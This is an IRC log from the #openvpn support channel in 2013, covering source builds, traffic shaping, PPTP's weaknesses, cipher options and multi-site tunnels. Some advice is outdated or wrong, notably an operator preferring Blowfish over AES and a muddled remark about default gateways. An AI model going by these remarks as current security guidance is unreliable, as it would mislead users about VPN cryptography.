15:50 <+pekster> iBong / xdarklight: If it's critical you have newer stuff, you can always dump it in /usr/local and just do a build yourself. Once you have the build tools, it's only a couple-minute compile
15:50 < iBong> i love the repos straight from openvpn, and i have been waiting for a wheezy repo to show up... so sad when i seen 404
15:51 < iBong> lol
15:51 <+pekster> Debian/RHEL are not known for providing users up-to-date packages, sadly
15:51 < xdarklight> pekster: getting it fixed soon(tm) is enough for me ;)
15:52 < iBong> yeah i can compile it myself, i just like to be lazy
15:52 < iBong> like to do aptitude upgrade openvpn
15:53 <+pekster> This is why I like Gentoo: I wanted a git-master feature, so it was trivial to copy the 2.3.2 ebuild to my overlay, add in the patch I needed, and just "upgrade to the latet version"
15:53 <+pekster> Try _that_ in Debian ;)
15:53 < iBong> yes yes, i have a few friends that love gentoo as well
15:54 < EugeneKay> Hell yeah, make files >_>
15:54 <+pekster> Just pointing out there are much easier/clever ways to support more "bleeding edge" versions/features than your downstream distro provides
15:55 < iBong> absolutely
15:55 < iBong> i just love debian
15:55 < iBong> hard for me to step away from my favourite distro
15:56 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Quit: Meet your opposition - Profane and disciplined - Take back your pride - With a pounding hammer]
15:57 < Skapare> iBong: so build the latest openvpn (and separately, easy-rsa) for your favorite distro
15:58 < iBong> yeah i can build openvpn for sure, but like i said, i enjoy just doing aptitude update && aptitude upgrade openvpn
15:59 < iBong> not really anything to build tho for easy-rsa
15:59 < iBong> just pull it in from git
16:00 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:00 <+pekster> Not if you "enjoy just doing aptitude" ;)
16:00 < iBong> haha
16:00 < iBong> fair enough
16:00 < iBong> =)
16:01 <+pekster> I suppose I'm a bad example because I have several projects installed directly from source checkouts for test/dev purposes, but I don't see the issue in mixing deployment methods; that's the entire point of the /usr/local/ path
16:03 < iBong> i suppose you could say i am another bad example
16:03 < iBong> =P
16:05 < iBong> idk man, the repos for openvpn are dead simple and i know they are done right
16:05 < iBong> where as i may make a mistake
16:07 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
16:07  * pekster shrugs. `git clone https://github.com/OpenVPN/openvpn && cd openvpn && autoreconf -vfi && ./configure && make && sudo make install && echo "All done"`
16:07 <@vpnHelper> Title: OpenVPN/openvpn · GitHub (at github.com)
16:07 <+pekster> Dunno how it gets much easier than that
16:07 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Client Quit]
16:07 <+pekster> There are tunables in ./configure but that'll give you a default build
16:08 <+pekster> Personally I recommend instaling in a dedicated per-install uniquely-named location, such as /usr/local/apps/$UNIQUE_NAME so you can remove it with a simple rm -rf on that dir, but that's up to you
16:08 < iBong> see it's the configure options that i worry about
16:08 <+pekster> So read --help?
16:08 < iBong> yeah
16:09 <+pekster> Really the only thing you might care about would be password-save support (reading credentials from plaintext files, which is _disabled_ by default out of security. Official binary builds usually enable it)
16:09 -!- funky [~funky@gprs-inet-65-179.elisa.ee] has joined #openvpn
16:09 <+pekster> I also recommend use of iproute2, but that isn't the default since "some stupid distros" still don't support it out of the box :\
16:09 < funky> hey fokks
16:09 < funky> can openvpn be used to cap each user bandwith say to 3mb?
16:09 < funky> *folks :D
16:09 <+pekster> funky: No, but your OS can
16:10 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
16:10 < funky> pekster:  I mean users not me
16:11 < funky> VPN end users
16:11 <+pekster> Yes, I know what you meant
16:11 <+pekster> Use QoS tools for that
16:11 <+pekster> OpenVPN is a tool to securely connect endpoints not shape your traffic for you, or firewall it, or decide how to route it
16:11 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:11 < funky> yes traffic shaping is what I want
16:12 <+pekster> Then read about how to do that on your platform
16:12 <+pekster> `tc` on Linux or altq under the BSDs
16:13 < funky> pekster: is there any table to show openvpn cpu load per 1 mb of bandwith?
16:13 <+pekster> No. That varies wildly depending on your hardware, load, if you have aes-ni support availalbe to openssl, the cipher you're using, and other factors
16:14 <+pekster> The symmetric crypto is generally the bottleneck at higher speeds, though there are other tunables/settings that can impact this
16:14 <+pekster> !gigabit
16:14 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
16:14 <+pekster> After a few-hundred Mbps you run into CPU issues, though aes-ni can resolve much of that until you hit other bottlenecks
16:14 <+pekster> Go test it yourself if this is an issue
16:15 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 245 seconds]
16:16 < funky> and openvpn got what an open source and paid version?
16:16 <+pekster> OpenVPN is GPLv2 and free to use under that license. "Access Server" is a commercial front-end that we don't support here: see the topic
16:16 <+pekster> AS != OpenVPN
16:17 <+pekster> (though AS uses an older version of the GPL product at its core, with all the closed-source UI stuff bolted on top)
16:17 < funky> so its pretty much open source with ui on top
16:17 <+pekster> There is and always has been only 1 "OpenVPN"
16:18 <+pekster> Note that the really-poorly named "OpenVPN Connect" is a _completely_ different codebase that is fully closed
16:18 <@plaisthos> pekster: does aes-ni work with the current openvpn version?
16:18 <+pekster> plaisthos: Yup. It's actually an openssl thing
16:18 <+pekster> If aes-ni is availalbe to openssl, it'll use it
16:19 <+pekster> OpenVPN can show you what openssl support exists with the linked openssl with `openvpn --show-engines`
16:19 < funky> http://openvpn.net/ thats the open source one?
16:19 <@vpnHelper> Title: OpenVPN - Open Source VPN (at openvpn.net)
16:20 <+pekster> funky: _both_ are availalbe there. The "community" version is the open-source one, except the messed-up CMS there will try to show you the AS download first becuase of stupid limitations on the software running that part of the website
16:20 <+pekster> GPL downloads are here:
16:20 <+pekster> !download
16:20 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
16:20 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
16:21 <+pekster> The website design is pretty screwed up for people looking for the GPL stuff :(
16:21 < funky> yep
16:21 < funky> and private tunnel msi whats that
16:21 < funky> do they sell their own vpn service? :D
16:21 <+pekster> A "VPN Provider" service
16:21 <+pekster> Yes, basically. I know nothing about it except that you won't get support for it here
16:22 < funky> :)
16:22 < funky> is there open source end user gui or is it easy to make? :)
16:22 <+pekster> !gui
16:22 <@vpnHelper> "gui" is (#1) The only official GUI is the OpenVPN-GUI for Windows (see https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI .) While there are other 3rd party GUIs, they may cause unexpected issues or (#2) If you're having problems starting OpenVPN through an unoffiical GUI, try launching it on the command line; if that works, the GUI is your problem
16:23 <+pekster> There's some network-manager support for openvpn under Linux, but it's fairly poorly designed
16:24 < funky> link stuck
16:24 < funky> https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI
16:24 < funky> :)
16:24 < funky> can u open it there?
16:24 <@vpnHelper> Title: OpenVPN-GUI – OpenVPN Community (at community.openvpn.net)
16:25 <+pekster> Hmm, IIRC the wiki was recently moved to a new host and it might be under too much load. I'll ping the folks responsible
16:25 < funky> ok open now took some time
16:26 < funky> thats quiet amazin piece of software
16:26 < funky> :)
16:27 < Skapare> that link took almost a minute just to do they TLS exchange ... yeah, a bit overloaded
16:28 <+pekster> IPv6 appears worse and I gave up waiting (got more important things to do)
16:28 < funky> Skapare: seems they are popular or host is lazy
16:29 < Skapare> or someone made a typo installing it ... whatever ... pekster told them ... they will fix it ... or not
16:30 < funky> some dude is telling me traffic shaping is built in into open vpn? is he lying?
16:30 < funky> wonders
16:31 < Skapare> it has some capabilities
16:31 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Quit: Meet your opposition - Profane and disciplined - Take back your pride - With a pounding hammer]
16:31 < funky> is there wiki on that somewhere?
16:31  * Skapare wants to turn packets into little ovals and count that as shaping
16:32 < Skapare> I passed by some mention of setting limits per client when I was looking for something else, a few days ago
16:32 < funky> :)
16:32 < funky> --shaper n I guess
16:33 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
16:36 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
16:37 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Client Quit]
16:37 < funky> Skapare: does open vpn works with free radius and likes?
16:37 < funky> my idea it to run whmcs, radius and open vpn :D
16:37 < funky> then add some more protocols
16:39 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
16:40 -!- nitram__ [~quassel@99-188-181-151.lightspeed.mmphtn.sbcglobal.net] has joined #openvpn
16:42 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has quit [Ping timeout: 268 seconds]
16:45 < iBong> hey pekster, could you point me to any documentation on iproute2?
16:45 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
16:46 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-vipuolecomgyoqbg] has quit [Quit: Leaving]
16:49 < funky> lol
16:52 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 248 seconds]
16:53 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has joined #openvpn
16:53 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
16:53 -!- iBong [~tittyspri@ks36224.kimsufi.com] has quit [Quit: Senkei.Senbonzakura.Kageyoshi]
16:54 < funky> i wonder if windows gui can be remade into supporting pptn and other vpn options
16:55 <@plaisthos> pptp will probably never die :/
16:56 < funky> haha yep its da easiest
17:00 -!- tyteen4a03 [tyteen4a03@par01.ipv6.gw-out.freebnc.net] has joined #openvpn
17:03 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:09 -!- Schrostfutz [~who@2001:638:512:100a:902b:a963:5887:8c57] has joined #openvpn
17:10 < Schrostfutz> hi, i have some trouble setting up openvpn on my openwrt router. the initialization completes but i get the message net_gateway - unable to get default gateway from your system  - since i have no default gateway... how can i fix this?
17:10 < funky> what u mean no def gat
17:10 < funky> usually its 255 something
17:12 < Schrostfutz> funky: i need the openvpn to get to the internet, so there is no default route
17:13 < funky> http://pcsupport.about.com/od/tipstricks/f/default-gateway-ip-address.htm
17:13 <@vpnHelper> Title: How Do I Find My Default Gateway IP Address? (at pcsupport.about.com)
17:13 < funky> usually its same nr
17:14 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has quit [Read error: Connection reset by peer]
17:14 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has joined #openvpn
17:17 < Schrostfutz> funky: there is no default gateway. unless you get the vpn working you cant get out of the local network
17:18 -!- nitram__ [~quassel@99-188-181-151.lightspeed.mmphtn.sbcglobal.net] has quit [Remote host closed the connection]
17:18 < funky> oooooooooo
17:20 < Schrostfutz> the router, which needs to get the openvpn working, is the default gateway of my homenetwork
17:20 -!- funky is now known as bodie_legitimacy
17:21 -!- bodie_legitimacy is now known as funky
17:22 < funky> try to google u error
17:23 < BtbN> so it shouldn't push/you shouldn't configure rules that require an pre-existing default gateway
17:24 < BtbN> just push a default route directly
17:24 < BtbN> or configure it
17:27 -!- Schrostfutz [~who@2001:638:512:100a:902b:a963:5887:8c57] has quit [Ping timeout: 245 seconds]
17:28 < funky> yes
17:39 -!- Schrostfutz [who@194.95.2.72] has joined #openvpn
17:39 -!- iBong [~tittyspri@ks36224.kimsufi.com] has joined #openvpn
17:40 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 264 seconds]
17:41 < iBong> was wondering if anyone can tell me how i can implement one of these stronger tls ciphers?
17:42 < iBong> typically i use AES-256-CBC , but i would like to use something like TLS-ECDHE-RSA-WITH-AES-256-GCM-SHA384
17:42 < iBong> is it as simple as adding "tls-cipher TLS-ECDHE-RSA-WITH-AES-256-GCM-SHA384" to your configs?
17:44 < iBong> in which case, would i simply change "auth SHA256" to "auth SHA384"?
17:44 < iBong> in my configs
17:49 < iBong> https://community.openvpn.net/openvpn/ticket/304
17:49 < iBong> >.>
17:49 <@vpnHelper> Title: #304 (List or indicator of supported tls/ciphers/hashes) – OpenVPN Community (at community.openvpn.net)
17:51 < funky> any idea if open vpn client GUI can be used to support other vpn protocols?
17:54 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has quit [Ping timeout: 240 seconds]
17:56 < EugeneKay> !notopenvpn
17:56 <@vpnHelper> "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem
17:56 < EugeneKay> Nope, not that one
17:56 < EugeneKay> !pptp
17:56 <@vpnHelper> "pptp" is (#1) PPTP is known to be a faulty protocol. The designers of the protocol, Microsoft, recommend not to use it due to the inherent risks. Lots of people use PPTP anyway due to ease of use, but that doesn't mean it is any less hazardous. The maintainers of PPTP Client and Poptop recommend using OpenVPN (SSL based) or IPSec instead. http://pptpclient.sourceforge.net/protocol-security.phtml
17:56 <@vpnHelper> to read about why to not use pptp or (#2) Why not to use it: http://en.wikipedia.org/wiki/Pptp#Security or (#3) https://www.cloudcracker.com/blog/2012/07/29/cracking-ms-chap-v2/ or (#4) NB: cracking PPTP is easy: https://www.cloudcracker.com/
17:56 < EugeneKay> Nope, not that one either.
17:56 < EugeneKay> Hrm.
17:56 < funky> what  about lt2p?
17:57 < hjohnson> l2tp doesn't provide encryption/security
17:57 < hjohnson> it's a way to tunnel layer 2 packets over IP
17:57 < EugeneKay> Basically, openvpn speaks only openvpn
17:59 < funky> hehe yet many top vpn providers offer pptp and l2tp
17:59 < funky> good to know
17:59 < hjohnson> well, l2tp is usually combined with IPSec
17:59 < hjohnson> (ie you run the l2tp through an IPSec tunnel)
18:00 < funky> i see
18:00 < hjohnson> so correctly it's l2tp/IPSec
18:00 < iBong> what about my question?
18:00 < EugeneKay> VPN resellers are idiots
18:00 < hjohnson> that basically allows you to do the whole "Send all traffic through the VPN" using an IPSec transport
18:00 < EugeneKay> They don't care about privacy, only getting $5 from you
18:01 < iBong> does anyone know how to implement TLS-ECDHE-RSA-WITH-AES-256-GCM-SHA384 with openvpn?
18:01 < iBong> or do i have to stick with AES-256-CBC
18:01 < hjohnson> aes-256-cbc is plenty secure
18:02 < iBong> indeed
18:02 < iBong> but i'd still like to know if it is possible
18:02 < iBong> and if not, why even have it in show-tls-ciphers
18:03 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
18:03 < hjohnson> otoh, PPTP is plenty secure if all you're using it is to get US netflix, or british BBC streaming. :P
18:04 < funky> yes and it can work faster in such case :D
18:04 < iBong> do you happen to know the answer pekster?
18:05 < funky> open seems really neay
18:05 < funky> neat
18:12 < funky> http://sourceforge.net/projects/securepoint/
18:12 < funky> interesting
18:12 <@vpnHelper> Title: OpenVPN Client Windows | Free software downloads at SourceForge.net (at sourceforge.net)
18:12 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 264 seconds]
18:18 -!- kplong [~kplong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
18:24 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
18:28 <@krzee> hjohnson, no, it is still plenty insecure, it just may be that you don't care in those instances
18:28 <@krzee> your level of caring does not effect the level of security ;]
18:28 <@krzee> (pptp)
18:29 < hjohnson> krzee: I think my point was mostly that the level of insecurity was plenty adequate to do things that aren't security critical
18:29 <@krzee> sure, use pptp when a gre tunnel would do, and never in other situations
18:30 <@krzee> consider it plaintext, if that is fine then go for it
18:30 < hjohnson> krzee: which was my entire point.
18:30 < hjohnson> not everything needs aes-256-cbc :P
18:30 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
18:30 <@krzee> personally i choose to stay away from aes
18:30 <@krzee> but ya
18:33 -!- markp [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 240 seconds]
18:41 -!- funky is now known as answers
18:42 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
18:43 -!- answers is now known as funky
18:45 -!- Schrostfutz [who@194.95.2.72] has quit [Ping timeout: 256 seconds]
18:47 -!- Netsplit *.net <-> *.split quits: Drone4four, lickalott, dvl, jgeboski, eliasp, NET||abuse, cyberspace-, lbft, soapee01, tharkun,  (+35 more, use /NETSPLIT to show all of them)
18:47 -!- Netsplit over, joins: Poster|w
18:47 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-qamevjjvdeoajqtx] has joined #openvpn
18:47 -!- Netsplit over, joins: WinstonSmith
18:48 -!- Netsplit over, joins: Fira
18:50 -!- Schrostfutz [who@194.95.2.136] has joined #openvpn
18:54 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
18:54 -!- Tera [~tera@unaffiliated/tera] has joined #openvpn
18:54 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
18:54 -!- seba [~seba@kratzbaum.someserver.de] has joined #openvpn
18:54 -!- krapper [krapper@territory.krapper.net] has joined #openvpn
18:54 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
18:54 -!- funky [~funky@gprs-inet-65-179.elisa.ee] has joined #openvpn
18:54 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
18:54 -!- mivok [~mark@static-108-48-124-82.washdc.fios.verizon.net] has joined #openvpn
18:54 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
18:54 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
18:54 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
18:54 -!- NET||abuse [~luke@86.6.148.64] has joined #openvpn
18:54 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-nquaprwdszicbwui] has joined #openvpn
18:54 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
18:54 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
18:54 -!- Roelke_ [~Roelke@hostserv.nl] has joined #openvpn
18:54 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
18:54 -!- BadAtom [~epigramma@supporter/active/BadAtom] has joined #openvpn
18:54 -!- nado [~nado@static.101.236.9.5.clients.your-server.de] has joined #openvpn
18:54 -!- surfmasta [~surfmasta@80.92.88.10] has joined #openvpn
18:54 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
18:54 -!- Varazir [~mircwars@c-94-255-129-205.cust.bredband2.com] has joined #openvpn
18:54 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
18:54 -!- Perun [perun@chao5.net] has joined #openvpn
18:54 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
18:54 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has joined #openvpn
18:54 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
18:54 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
18:54 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
18:54 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-umnoscewvlatepbg] has joined #openvpn
18:54 -!- jeev [~j@unaffiliated/jeev] has joined #openvpn
18:54 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has joined #openvpn
18:54 -!- Paddez1 [paddez@nat/dcunetworkingsociety/x-cuyykuiskvtkogot] has joined #openvpn
18:54 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-lqlxbexdafxuttjk] has joined #openvpn
18:54 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn
18:54 -!- sailerboy [~sailerboy@sailerboy.net] has joined #openvpn
18:54 -!- derRichard [~derRichar@pippin.sigma-star.at] has joined #openvpn
18:54 -!- ServerMode/#openvpn [+ooo vpnHelper mattock_afk novaflash] by sendak.freenode.net
18:54 -!- Cr4zi3 [killaz@staff.xbins.org] has quit [Excess Flood]
18:55 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
18:55 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
18:55 -!- kplong [~kplong@c-50-135-252-126.hsd1.wa.comcast.net] has quit [Ping timeout: 246 seconds]
18:57 -!- XJR-9 [~XJR-9@pdpc/supporter/active/xjr-9] has joined #openvpn
18:58 < iBong> what do you use instead krzee?
18:58 <@krzee> blowfish
19:00 -!- kplong [~kplong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
19:02 -!- Schrostfutz [who@194.95.2.136] has quit [Ping timeout: 260 seconds]
19:03 -!- Schrostfutz [~who@2001:638:512:1005:902b:a963:5887:8c57] has joined #openvpn
19:07 -!- Skapare [~phil@c-24-3-220-115.hsd1.wv.comcast.net] has joined #openvpn
19:10 -!- Schrostfutz [~who@2001:638:512:1005:902b:a963:5887:8c57] has quit [Ping timeout: 245 seconds]
19:10 -!- Schrostfutz [who@194.95.1.226] has joined #openvpn
19:12 < Cr4zi3> sorry.. to funny.. https://scontent-b-lax.xx.fbcdn.net/hphotos-prn1/v/907633_717858151562289_985860706_n.jpg?oh=c1d4894b1eddd75e4e27c3ffef037e9d&oe=52448FD7
19:13 -!- kplong [~kplong@c-50-135-252-126.hsd1.wa.comcast.net] has quit [Ping timeout: 245 seconds]
19:13 < funky> :)))
19:15 -!- kplong [~kplong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
19:21 -!- kplong [~kplong@c-50-135-252-126.hsd1.wa.comcast.net] has quit [Quit: This computer has gone to sleep]
19:26 -!- Schrostfutz [who@194.95.1.226] has quit [Ping timeout: 248 seconds]
19:26 -!- Schrostfutz [~who@194.95.2.19] has joined #openvpn
19:29 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has joined #openvpn
19:36 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has quit [Read error: Operation timed out]
19:38 -!- iBong [~tittyspri@ks36224.kimsufi.com] has quit [Quit: Senkei.Senbonzakura.Kageyoshi]
19:41 -!- kiyor [~kiyor@12.13.90.183] has quit [Quit: Linkinus - http://linkinus.com]
19:43 -!- nitram__ [~quassel@99-188-181-151.lightspeed.mmphtn.sbcglobal.net] has joined #openvpn
19:49 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 240 seconds]
19:52 -!- Aelius [~link@unaffiliated/aelius] has joined #openvpn
19:52 < Aelius> so major issue with windows clients
19:53 < Aelius> every reboot the adapter is recreated or reset
19:53 < funky> e,,,
19:53 < Aelius> if the network was set to private in windows firewall... every reboot it gets reverted to public
19:54 -!- raidz is now known as raidz_away
19:54 < Aelius> changing this requires admin access and technical knowlege in 8
20:01 < Aelius> is there a way to stop this or...
20:03 < funky> bug!
20:06 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
20:07 -!- cali [~cali@unaffiliated/cali] has quit [Max SendQ exceeded]
20:11 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
20:16 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 264 seconds]
20:17 -!- Schrostfutz [~who@194.95.2.19] has quit [Read error: Connection reset by peer]
20:22 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
20:24 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
20:25 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has quit []
20:34 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has joined #openvpn
21:11 -!- funky [~funky@gprs-inet-65-179.elisa.ee] has left #openvpn []
21:18 -!- xrosnight [~quassel@116.76.169.18] has joined #openvpn
21:19 -!- xrosnight [~quassel@116.76.169.18] has quit [Changing host]
21:19 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
21:19 -!- xrosnight is now known as AlexRosPC
21:35 -!- klein [~klein@177.132.143.108] has joined #openvpn
21:35 -!- klein [~klein@177.132.143.108] has quit [Changing host]
21:35 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
21:46 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 260 seconds]
21:57 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 256 seconds]
21:59 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- AlexRosPC is now known as alexRosPC
22:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:06 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
22:11 -!- alexRosPC [~quassel@unaffiliated/xrosnight] has quit [Read error: Connection reset by peer]
22:15 -!- xrosnight [~quassel@116.76.169.18] has joined #openvpn
22:17 -!- markp [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
22:21 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
22:27 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:41 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
23:01 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Remote host closed the connection]
23:11 -!- xrosnight [~quassel@116.76.169.18] has quit [Read error: Connection reset by peer]
23:14 -!- xrosnight [~quassel@116.76.169.18] has joined #openvpn
23:24 -!- mback2k_ [sbnc@2a00:1828:2000:378:1337:0:59ee:5431] has quit [Ping timeout: 246 seconds]
23:25 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Ping timeout: 245 seconds]
23:25 -!- MorgyN [~mig@island.morgyn.org] has quit [Ping timeout: 264 seconds]
23:26 -!- MorgyN [~mig@island.morgyn.org] has joined #openvpn
23:28 -!- xrosnight [~quassel@116.76.169.18] has quit [Read error: Connection reset by peer]
23:28 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Changing host]
23:28 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has joined #openvpn
23:30 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
--- Day changed Wed Sep 25 2013
00:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
00:17 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
01:12 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:26 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Read error: Connection reset by peer]
01:27 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
01:43 -!- master_of_master [~master_of@p4FD7BDAD.dip0.t-ipconnect.de] has joined #openvpn
01:47 -!- master_o1_master [~master_of@p4FF24708.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
02:24 -!- Denial [Denial@05417302.skybroadband.com] has joined #openvpn
02:29 -!- defswork [~andy@141.0.50.105] has quit [Remote host closed the connection]
02:36 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:41 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
03:11 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
05:03 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
05:09 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
05:12 -!- defswork [~andy@141.0.50.105] has joined #openvpn
05:22 < Mike--> hi guys
05:23 < Mike--> I have openvpn configured with ldap authentication for active directory
05:23 < Mike--> is there a good way to configure the group checking based on domain local groups
05:23 < Mike--> where the users are actually in domain global ?
05:42 -!- renato_ [~renato@130.147.23.95.dynamic.jazztel.es] has joined #openvpn
05:56 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Quit: barhom]
06:44 -!- renato_ [~renato@130.147.23.95.dynamic.jazztel.es] has quit [Quit: Konversation terminated!]
06:48 -!- Roklobsta [~Roklobsta@ppp118-209-81-125.lns20.mel4.internode.on.net] has joined #openvpn
06:48 -!- dray [~dray@host81-137-238-75.in-addr.btopenworld.com] has joined #openvpn
06:48 < dray> Hello
06:48 < Roklobsta> hi.
06:49 < dray> Can someone here help me with my OpenVPN problems please?
06:49 < Roklobsta> i have 3 sites i need linked together (like a triangle).  Can openvpn do this easily enough?
06:51 < Aketzu> can you make it a line?
06:51 < Roklobsta> i'd rather not
06:51 < Roklobsta> i have that now and would like to change it
06:52 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
06:52 < Roklobsta> to minimise double handling of traffic on the middle node
06:53 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:56 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
06:59 < Aketzu> then you need to create 3 tunnels
07:01 < Roklobsta> 2 at each a\site, AB, AC and BC
07:01 < Aketzu> yeah
07:01 < Aketzu> since they are p2p the server mode feels a bit overkill
07:02 < Roklobsta> can they all run just the server or just clients?
07:02 < Aketzu> nope
07:02 < Aketzu> there is shared secret mode for that
07:02 < Roklobsta> i am just boning up on the openvpn howto
07:03 < Aketzu> "static key" or "--secret" are keywords
07:03 <@plaisthos> just remember that static key does not give forward secracy
07:06 -!- dray [~dray@host81-137-238-75.in-addr.btopenworld.com] has quit [Quit: Leaving]
07:06 < Roklobsta> ok still reading.  what are the differences between the server and client mode?
07:07 < Roklobsta> can a server link to a server or a client to a client or must it always be client to server?
07:10 <@plaisthos> client to server
